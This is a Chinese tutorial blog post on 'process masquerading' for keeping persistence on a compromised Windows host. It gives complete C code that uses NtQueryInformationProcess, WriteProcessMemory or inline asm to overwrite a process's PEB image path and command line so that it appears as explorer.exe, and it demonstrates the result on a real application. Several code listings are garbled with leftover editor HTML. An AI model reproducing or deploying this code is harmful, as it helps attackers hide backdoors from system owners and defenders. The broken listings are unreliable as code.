进程伪装详解

Delina

原文链接：进程伪装详解
​
前言当我们获取到一台主机的权限过后，拿到了自己想要搜集的信息，这时候我们就会留一个后门进行权限维持，权限维持的学问其实很深，今天就主要介绍其中一种比较简单的权限维持的方法 -- 进程伪装。
我们知道在windows里面有很多系统进程，如winlogon.exe、explorer.exe、services.exe等等，这些exe都是Windows必须具有的exe，当缺失某些exe的时候，windows就不能够正常运行，所以我们如果想到实现进程伪装，最好的选择就是伪装成系统必备的exe，当我们进行进程伪装之后，在系统中显示的就会是系统进程的信息，但这个程序还是能够执行它正常的功能，这样就达到了进程伪装、权限维持的作用。
思路我们判断一个进程是否被劫持，一般是看他的进程名以及path，即启动路径来判断，那么反推即可得到，我们可以通过修改进程模块中的进程路径以及进程名来实现进程伪装的作用
正在上传…[url=]重新上传[/url][url=]取消[/url]​
比如我们这里再看看explorer的进程名和启动路径

​

那么这里我们改人如何获取进程的这些信息呢，这里可以使用到ntdll.dll里面的NtQueryInformationProcess来获取进程的PEB地址，这里稍微提一个概念，什么是PEB？
PEB，即Process Envirorment Block Structure，英文翻译过来就是进程环境信息块，这里包含了写进程的信息。它的完整结构如下：

1. typedef struct _PEB {
   
2.   BYTE                          Reserved1[2];
   
3.   BYTE                          BeingDebugged; //被调试状态
   
4.   BYTE                          Reserved2[1];
   
5.   PVOID                         Reserved3[2];
   
6.   PPEB_LDR_DATA                 Ldr;
   
7.   PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
   
8.   BYTE                          Reserved4[104];
   
9.   PVOID                         Reserved5[52];
   
10.   PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
    
11.   BYTE                          Reserved6[128];
    
12.   PVOID                         Reserved7[1];
    
13.   ULONG                         SessionId;
    
14. } PEB, *PPEB;

复制代码

这里就不深究每个属性的含义了，这里拿到PEB结构之后我们就能够对进程的一些属性进行修改就能够实现进程伪装的效果，但是这里并不能够通过指针来直接速写内存数据，因为每个程序都有自己独立的空间，所以这里就需要用到ReadProcessMemory和WriteProcessMemory来读写进程

1. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="298" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22BOOL%C2%A0ReadProcessMemory(%5Cn%C2%A0%C2%A0%5Bin%5D%C2%A0%C2%A0HANDLE%C2%A0%C2%A0hProcess%2C%5Cn%C2%A0%C2%A0%5Bin%5D%C2%A0%C2%A0LPCVOID%C2%A0lpBaseAddress%2C%5Cn%C2%A0%C2%A0%5Bout%5D%C2%A0LPVOID%C2%A0%C2%A0lpBuffer%2C%5Cn%C2%A0%C2%A0%5Bin%5D%C2%A0%C2%A0SIZE_T%C2%A0%C2%A0nSize%2C%5Cn%C2%A0%C2%A0%5Bout%5D%C2%A0SIZE_T%C2%A0%C2%A0*lpNumberOfBytesRead%5Cn)%3B%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">BOOL ReadProcessMemory(
   
2.   [in]  HANDLE  hProcess,
   
3.   [in]  LPCVOID lpBaseAddress,
   
4.   [out] LPVOID  lpBuffer,
   
5.   [in]  SIZE_T  nSize,
   
6.   [out] SIZE_T  *lpNumberOfBytesRead
   
7. );</code></pre>
   
8. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.7/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
   
9. 
   
10. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="297" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false">
    
11. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22BOOL%C2%A0WriteProcessMemory(%5Cn%C2%A0%C2%A0%5Bin%5D%C2%A0%C2%A0HANDLE%C2%A0%C2%A0hProcess%2C%5Cn%C2%A0%C2%A0%5Bin%5D%C2%A0%C2%A0LPVOID%C2%A0%C2%A0lpBaseAddress%2C%5Cn%C2%A0%C2%A0%5Bin%5D%C2%A0%C2%A0LPCVOID%C2%A0lpBuffer%2C%5Cn%C2%A0%C2%A0%5Bin%5D%C2%A0%C2%A0SIZE_T%C2%A0%C2%A0nSize%2C%5Cn%C2%A0%C2%A0%5Bout%5D%C2%A0SIZE_T%C2%A0%C2%A0*lpNumberOfBytesWritten%5Cn)%3B%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">BOOL WriteProcessMemory(
    
12.   [in]  HANDLE  hProcess,
    
13.   [in]  LPVOID  lpBaseAddress,
    
14.   [in]  LPCVOID lpBuffer,
    
15.   [in]  SIZE_T  nSize,
    
16.   [out] SIZE_T  *lpNumberOfBytesWritten
    
17. );</code></pre></div>

复制代码

实现过程首先使用OpenProcess打开进程句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
然后从ntdll.dll中获取NtQueryInformationProcess的导出地址，因为这个函数没有关联导入库，所以只能动态获取地址

1. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="295" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22NtQueryInformationProcess%C2%A0%3D%C2%A0(typedef_NtQueryInformationProcess)%3A%3AGetProcAddress(%3A%3ALoadLibrary(%5C%22ntdll.dll%5C%22)%2C%C2%A0%5C%22NtQueryInformationProcess%5C%22)%3B%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");</code></pre>
   
2. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.7/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
   
3. 
   
4. <p></p>

复制代码

我们获取到导出地址过后需要注意一下NtQueryInformationProcess结构里面的PROCESS_BASIC_INFORMATION这个值，首先看下结构

1. __kernel_entry NTSTATUS NtQueryInformationProcess(
   
2.   [in]            HANDLE           ProcessHandle,
   
3.   [in]            PROCESSINFOCLASS ProcessInformationClass,
   
4.   [out]           PVOID            ProcessInformation,
   
5.   [in]            ULONG            ProcessInformationLength,
   
6.   [out, optional] PULONG           ReturnLength
   
7. );

复制代码

其中第三个值PROCESS_BASIC_INFORMATION 指向调用应用程序提供的缓冲区的指针，函数将请求的信息写入该缓冲区。写入的信息大小取决于ProcessInformationClass参数的数据类型
当ProcessInformationClass 参数是ProcessBasicInformation，缓冲器指向的PROCESSINFORMATION参数应该足够大，以保持单个PROCESS_BASIC_INFORMATION具有下述布局结构：

1. typedef struct _PROCESS_BASIC_INFORMATION {
   
2.     PVOID Reserved1;
   
3.     PPEB PebBaseAddress;
   
4.     PVOID Reserved2[2];
   
5.     ULONG_PTR UniqueProcessId;
   
6.     PVOID Reserved3;
   
7. } PROCESS_BASIC_INFORMATION;

复制代码

那么我们如何定位到PEB结构呢？
​​
FS段寄存器指向当前的TEB结构，在TEB偏移0x30处是PEB指针，通过这个指针即可取得PEB的地址，可以通过汇编实现

1. __asm
   
2. {
   
3. mov eax,fs:[0x30]
   
4. mov PEB,eax
   
5. }

复制代码

这里我们要修改两个参数，一个是命令行参数，一个是path参数，这里用winDBG跟一下PEB的结构
首先是在0x20偏移的地方，有一个叫ProcessParameters的属性值，其结构体为_RTL_USER_PROCESS_PARAMETERS，继续往里面跟
​
在0x60偏移的地方，ImagePathName即为可执行文件的路径，结构体为_UNICODE_STRING，它的0x08偏移指向了一个Buffer，Buffer的内容为可执行文件路径的字符串。同理，0x70偏移则指向了 CommandLine为命令行参数

​

​

那么我们首先获取结构中的PebBaseAddress和ProcessPamameters

1. ::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
   
2. ::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

复制代码

修改命令行信息的话就是修改结构中的Buffer和Length字段，在CommandLine这个结构里面

1.     CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
   
2.     ::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
   
3.     ::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);

复制代码

同理修改路径信息的话也是修改Buffer跟Length字段，这里的结构就是ImagePathName

1.     PathLen = 2 + 2 * ::wcslen(lpwszPath);
   
2.     ::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
   
3.     ::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);

复制代码

那么到这里我们就已经修改了命令行跟路径的字段，完整代码如下

1. BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
   
2. {
   
3.    
   
4.     // 打开进程获取句柄
   
5.     HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
   
6.     if (NULL == hProcess)
   
7.     {
   
8.         printf("[!] OpenProcess failed,error is : %d", GetLastError());
   
9.         return FALSE;
   
10.     }
    
11. 
    
12.     typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
    
13.     PROCESS_BASIC_INFORMATION pbi = { 0 };
    
14.     PEB peb = { 0 };
    
15.     RTL_USER_PROCESS_PARAMETERS Param = { 0 };
    
16.     USHORT CmdLen = 0;
    
17.     USHORT PathLen = 0;
    
18. 
    
19.     // 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
    
20.     NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
    
21.         ::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
    
22. 
    
23.     if (NULL == NtQueryInformationProcess)
    
24.     {
    
25.         printf("[!] NtQueryInformationProcess failed,error is : %d\n\n", GetLastError());
    
26.         return FALSE;
    
27.     }
    
28. 
    
29.     // 获取指定进程的基本信息
    
30. 
    
31.     NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
32.    
    
33.     if (!NT_SUCCESS(status))
    
34.     {
    
35.         printf("[!] GetProcess information failed,error is : %d\n\n", GetLastError());
    
36.         return FALSE;
    
37.     }
    
38. 
    
39. 
    
40.     // 获取PebBaseAddress
    
41.     ::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
    
42.     // 获取ProcessParameters
    
43.     ::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
    
44.     // 修改命令行信息,即CommandLine结构里面的Buffer和Length字段
    
45.     CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
    
46.     ::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
    
47.     ::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
    
48.     // 修改路径信息,即ImagePathName结构里面的Buffer和Length字段
    
49.     PathLen = 2 + 2 * ::wcslen(lpwszPath);
    
50.     ::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
    
51.     ::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
    
52.     return TRUE;
    
53. }

复制代码

这里也可以使用asm指向PEB结构进行数据的修改，其实跟上面的思路一样，也是指向Buffer跟Length字段进行修改，但是这里定位到PEB结构是使用指针的方式，实现的效果是相同的

1. BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd)
   
2. {
   
3.     // 打开进程获取句柄
   
4.     HANDLE hProcess = GetModuleHandle(NULL);
   
5. 
   
6.     PPEB peb = { 0 };
   
7.     USHORT usCmdLen = 0;
   
8.     USHORT usPathLen = 0;
   
9.    
   
10.     __asm
    
11.     {
    
12.         mov    eax,fs:[30h]
    
13.         mov peb,eax
    
14.     }
    
15. 
    
16.     usCmdLen = 2 + 2 * wcslen(lpwszCmd);
    
17.     (*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd;
    
18.     (*peb).ProcessParameters->CommandLine.Length = usCmdLen;
    
19. 
    
20.     usPathLen = 2 + 2 * wcslen(lpwszPath);
    
21.     (*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath;
    
22.     (*peb).ProcessParameters->ImagePathName.Length = usPathLen;
    
23. 
    
24.     return TRUE;
    
25. }

复制代码

实现效果这里演示下第一个代码实现效果，选择的是有道云进行进程伪装成explorer，首先看一下explorer的详细信息

​

运行一下程序，已经看到修改成功

​

再去看一下有道云这边，可以看到已经实现了进程伪装

​

​